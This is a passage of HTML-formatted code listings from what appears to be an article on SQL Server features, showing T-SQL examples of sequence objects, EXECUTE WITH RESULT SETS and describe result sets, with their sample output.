style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:black"&gt;NEXT VALUE &lt;/span&gt;&lt;span style="color:blue"&gt;FOR &lt;/span&gt;&lt;span style="color:black"&gt;CustomerNbr&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:red"&gt;'Peter' &lt;/span&gt;&lt;span style="color:blue"&gt;UNION &lt;/span&gt;&lt;span style="color:gray"&gt;ALL&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:black"&gt;NEXT VALUE &lt;/span&gt;&lt;span style="color:blue"&gt;FOR &lt;/span&gt;&lt;span style="color:black"&gt;CustomerNbr&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:red"&gt;'Mary'&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;customer_name &lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM &lt;/span&gt;&lt;span style="color:black"&gt;Customers&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;ORDER BY &lt;/span&gt;&lt;span style="color:black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:green"&gt;/*&lt;br /&gt;&lt;br /&gt;customer_nbr customer_name&lt;br /&gt;------------ ---------------&lt;br /&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Joe&lt;br /&gt;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;John&lt;br /&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Jane&lt;br /&gt;4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Peter&lt;br /&gt;5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Mary&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;-- use OVER to generate next set of sequence numbers&lt;br /&gt;-- based on ordering by customer name&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black"&gt;Customers &lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;customer_name&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:black"&gt;NEXT VALUE &lt;/span&gt;&lt;span style="color:blue"&gt;FOR &lt;/span&gt;&lt;span style="color:black"&gt;CustomerNbr &lt;/span&gt;&lt;span style="color:blue"&gt;OVER&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:blue"&gt;ORDER BY &lt;/span&gt;&lt;span style="color:black"&gt;customer_name&lt;/span&gt;&lt;span style="color:gray"&gt;), &lt;/span&gt;&lt;span style="color:black"&gt;customer_name&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM &lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;VALUES &lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'Jose'&lt;/span&gt;&lt;span style="color:gray"&gt;), (&lt;/span&gt;&lt;span style="color:red"&gt;'Daniel'&lt;/span&gt;&lt;span style="color:gray"&gt;), (&lt;/span&gt;&lt;span style="color:red"&gt;'Adam'&lt;/span&gt;&lt;span style="color:gray"&gt;), (&lt;/span&gt;&lt;span style="color:red"&gt;'Chris'&lt;/span&gt;&lt;span style="color:gray"&gt;), (&lt;/span&gt;&lt;span style="color:red"&gt;'Tom'&lt;/span&gt;&lt;span style="color:gray"&gt;)) &lt;/span&gt;&lt;span style="color:blue"&gt;AS &lt;/span&gt;&lt;span style="color:black"&gt;T&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;customer_name&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;customer_name &lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM &lt;/span&gt;&lt;span style="color:black"&gt;Customers&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;ORDER BY &lt;/span&gt;&lt;span style="color:black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:green"&gt;/*&lt;br /&gt;&lt;br /&gt;customer_nbr customer_name&lt;br /&gt;------------ ---------------&lt;br /&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Joe&lt;br /&gt;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;John&lt;br /&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Jane&lt;br /&gt;4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Peter&lt;br /&gt;5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Mary&lt;br /&gt;6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Adam&lt;br /&gt;7&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Chris&lt;br /&gt;8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Daniel&lt;br /&gt;9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Jose&lt;br /&gt;10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tom&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;-- alter sequence to set next number to 20&lt;br /&gt;-- and increment by 10&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;ALTER &lt;/span&gt;&lt;span style="color:black"&gt;SEQUENCE CustomerNbr&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;RESTART &lt;/span&gt;&lt;span style="color:blue"&gt;WITH &lt;/span&gt;&lt;span style="color:black"&gt;20&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;INCREMENT &lt;/span&gt;&lt;span style="color:blue"&gt;BY &lt;/span&gt;&lt;span style="color:black"&gt;10&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black"&gt;Customers &lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;customer_name&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:black"&gt;NEXT VALUE &lt;/span&gt;&lt;span style="color:blue"&gt;FOR &lt;/span&gt;&lt;span style="color:black"&gt;CustomerNbr&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:red"&gt;'Evan' &lt;/span&gt;&lt;span style="color:blue"&gt;UNION &lt;/span&gt;&lt;span style="color:gray"&gt;ALL&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:black"&gt;NEXT VALUE &lt;/span&gt;&lt;span style="color:blue"&gt;FOR &lt;/span&gt;&lt;span style="color:black"&gt;CustomerNbr&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:red"&gt;'Lora'&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;customer_name &lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM &lt;/span&gt;&lt;span style="color:black"&gt;Customers&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;ORDER BY &lt;/span&gt;&lt;span style="color:black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:green"&gt;/*&lt;br /&gt;&lt;br /&gt;customer_nbr customer_name&lt;br /&gt;------------ ---------------&lt;br /&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Joe&lt;br /&gt;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;John&lt;br /&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Jane&lt;br /&gt;4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Peter&lt;br /&gt;5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Mary&lt;br /&gt;6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Adam&lt;br /&gt;7&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Chris&lt;br /&gt;8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Daniel&lt;br /&gt;9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Jose&lt;br /&gt;10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tom&lt;br /&gt;20&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Evan&lt;br /&gt;30&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Lora&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;-- reset sequence to 1&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;ALTER &lt;/span&gt;&lt;span style="color:black"&gt;SEQUENCE CustomerNbr&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;RESTART &lt;/span&gt;&lt;span style="color:blue"&gt;WITH &lt;/span&gt;&lt;span style="color:black"&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;INCREMENT &lt;/span&gt;&lt;span style="color:blue"&gt;BY &lt;/span&gt;&lt;span style="color:black"&gt;1&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;DECLARE &lt;/span&gt;&lt;span style="color:#434343"&gt;@first_value &lt;/span&gt;&lt;span style="color:blue"&gt;SQL_VARIANT&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:#434343"&gt;@last_value &lt;/span&gt;&lt;span style="color:blue"&gt;SQL_VARIANT&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:green"&gt;-- get a range of 5 sequence values: 1, 2, 3, 4, 5&lt;br /&gt;-- next available value is 6&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;EXEC &lt;/span&gt;&lt;span style="color:darkred"&gt;sp_sequence_get_range&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:#434343"&gt;@sequence_name &lt;/span&gt;&lt;span style="color:blue"&gt;= &lt;/span&gt;&lt;span style="color:red"&gt;N'CustomerNbr'&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:#434343"&gt;@range_size &lt;/span&gt;&lt;span style="color:blue"&gt;= &lt;/span&gt;&lt;span style="color:black"&gt;5&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:#434343"&gt;@range_first_value &lt;/span&gt;&lt;span style="color:blue"&gt;= &lt;/span&gt;&lt;span style="color:#434343"&gt;@first_value &lt;/span&gt;&lt;span style="color:black"&gt;OUTPUT&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:#434343"&gt;@range_last_value &lt;/span&gt;&lt;span style="color:blue"&gt;= &lt;/span&gt;&lt;span style="color:#434343"&gt;@last_value &lt;/span&gt;&lt;span style="color:black"&gt;OUTPUT&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:#434343"&gt;@first_value &lt;/span&gt;&lt;span style="color:blue"&gt;AS &lt;/span&gt;&lt;span style="color:black"&gt;range_first_value&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color:#434343"&gt;@last_value &lt;/span&gt;&lt;span style="color:blue"&gt;AS &lt;/span&gt;&lt;span style="color:black"&gt;range_last_value&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:green"&gt;/*&lt;br /&gt;&lt;br /&gt;range_first_value&amp;nbsp;&amp;nbsp; range_last_value&lt;br /&gt;------------------- ------------------&lt;br /&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:black"&gt;NEXT VALUE &lt;/span&gt;&lt;span style="color:blue"&gt;FOR &lt;/span&gt;&lt;span style="color:black"&gt;CustomerNbr &lt;/span&gt;&lt;span style="color:blue"&gt;AS &lt;/span&gt;&lt;span style="color:black"&gt;next_value&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:green"&gt;/*&lt;br /&gt;&lt;br /&gt;next_value&lt;br /&gt;-----------&lt;br /&gt;6&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;DROP TABLE &lt;/span&gt;&lt;span style="color:black"&gt;Customers&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;DROP &lt;/span&gt;&lt;span style="color:black"&gt;SEQUENCE CustomerNbr&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;/span&gt;&lt;/code&gt;  &lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Feature:&lt;/strong&gt; &lt;a href="http://msdn.microsoft.com/en-us/library/ms188332(SQL.110).aspx" target="_blank"&gt;EXECUTE WITH RESULT SETS&lt;/a&gt;     &lt;br /&gt;&lt;strong&gt;Application use:&lt;/strong&gt; manipulate stored procedure output result set     &lt;br /&gt;&lt;strong&gt;Comments:&lt;/strong&gt; capabilities to rename output result set columns without changing the original stored procedure; no options to remove/add columns or remove a result set when multiple result sets are returned &lt;br /&gt;&lt;table cellspacing="0" cellpadding="0" width="100%" style="border-bottom: #aaa 1px dotted;"&gt;&lt;tr&gt;&lt;td style="color: #aaa; border-bottom: #aaa 1px dotted;"&gt;Listing 4: EXECUTE WITH RESULT SETS example&lt;/td&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:blue"&gt;CREATE PROCEDURE &lt;/span&gt;&lt;span style="color:black"&gt;CalculateSales&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&lt;br /&gt;&lt;br /&gt;SELECT &lt;/span&gt;&lt;span style="color:black"&gt;sale_month&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;sale_amount&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM &lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:blue"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'2010-01'&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;120.50&lt;/span&gt;&lt;span style="color:gray"&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (&lt;/span&gt;&lt;span style="color:red"&gt;'2010-02'&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;214.00&lt;/span&gt;&lt;span style="color:gray"&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (&lt;/span&gt;&lt;span style="color:red"&gt;'2010-03'&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;109.10&lt;/span&gt;&lt;span style="color:gray"&gt;)) &lt;/span&gt;&lt;span style="color:blue"&gt;AS &lt;/span&gt;&lt;span style="color:black"&gt;T&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;sale_month&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;sale_amount&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:magenta"&gt;SUM&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;sale_amount&lt;/span&gt;&lt;span style="color:gray"&gt;) &lt;/span&gt;&lt;span style="color:blue"&gt;AS &lt;/span&gt;&lt;span style="color:black"&gt;total_sales&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM &lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:blue"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'2010-01'&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;120.50&lt;/span&gt;&lt;span style="color:gray"&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (&lt;/span&gt;&lt;span style="color:red"&gt;'2010-02'&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;214.00&lt;/span&gt;&lt;span style="color:gray"&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (&lt;/span&gt;&lt;span style="color:red"&gt;'2010-03'&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;109.10&lt;/span&gt;&lt;span style="color:gray"&gt;)) &lt;/span&gt;&lt;span style="color:blue"&gt;AS &lt;/span&gt;&lt;span style="color:black"&gt;T&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;sale_month&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;sale_amount&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black"&gt;GO&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;EXECUTE &lt;/span&gt;&lt;span style="color:black"&gt;CalculateSales&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:green"&gt;/*&lt;br /&gt;&lt;br /&gt;sale_month sale_amount&lt;br /&gt;---------- -------------&lt;br /&gt;2010-01&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;120.50&lt;br /&gt;2010-02&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;214.00&lt;br /&gt;2010-03&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;109.10&lt;br /&gt;&lt;br /&gt;(3 row(s) affected)&lt;br /&gt;&lt;br /&gt;total_sales&lt;br /&gt;-------------&lt;br /&gt;443.60&lt;br /&gt;&lt;br /&gt;(1 row(s) affected)&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;EXECUTE &lt;/span&gt;&lt;span style="color:black"&gt;CalculateSales &lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;WITH &lt;/span&gt;&lt;span style="color:black"&gt;RESULT SETS &lt;br /&gt;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/span&gt;&lt;span style="color:magenta"&gt;month &lt;/span&gt;&lt;span style="color:blue"&gt;CHAR&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;7&lt;/span&gt;&lt;span style="color:gray"&gt;), &lt;/span&gt;&lt;span style="color:black"&gt;amount &lt;/span&gt;&lt;span style="color:blue"&gt;DECIMAL&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;10&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;2&lt;/span&gt;&lt;span style="color:gray"&gt;)),&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/span&gt;&lt;span style="color:black"&gt;total &lt;/span&gt;&lt;span style="color:blue"&gt;DECIMAL&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;10&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;2&lt;/span&gt;&lt;span style="color:gray"&gt;))&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:green"&gt;/*&lt;br /&gt;&lt;br /&gt;month&amp;nbsp;&amp;nbsp; amount&lt;br /&gt;------- --------&lt;br /&gt;2010-01 120.50&lt;br /&gt;2010-02 214.00&lt;br /&gt;2010-03 109.10&lt;br /&gt;&lt;br /&gt;(3 row(s) affected)&lt;br /&gt;&lt;br /&gt;total&lt;br /&gt;--------&lt;br /&gt;443.60&lt;br /&gt;&lt;br /&gt;(1 row(s) affected)&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;DROP PROCEDURE &lt;/span&gt;&lt;span style="color:black"&gt;CalculateSales&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;/span&gt;&lt;/code&gt; &lt;/br/&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Feature:&lt;/strong&gt; &lt;a href="http://msdn.microsoft.com/en-us/library/ff878602(SQL.110)" target="_blank"&gt;describe result sets&lt;/a&gt;     &lt;br /&gt;&lt;strong&gt;Application use:&lt;/strong&gt; determining the format of a response without actually running the query     &lt;br /&gt;&lt;strong&gt;Comments:&lt;/strong&gt; replaces SET FMTONLY &lt;br /&gt;&lt;table cellspacing="0" cellpadding="0" width="100%" style="border-bottom: #aaa 1px dotted;"&gt;&lt;tr&gt;&lt;td style="color: #aaa; border-bottom: #aaa 1px dotted;"&gt;Listing 5: Describe result sets example&lt;/td&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:blue"&gt;CREATE PROCEDURE &lt;/span&gt;&lt;span style="color:black"&gt;CalculateSales&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&lt;br /&gt;&lt;br /&gt;SELECT &lt;/span&gt;&lt;span style="color:black"&gt;sale_month&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;sale_amount&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM &lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:blue"&gt;VALUES&lt;/span&gt;&lt;span 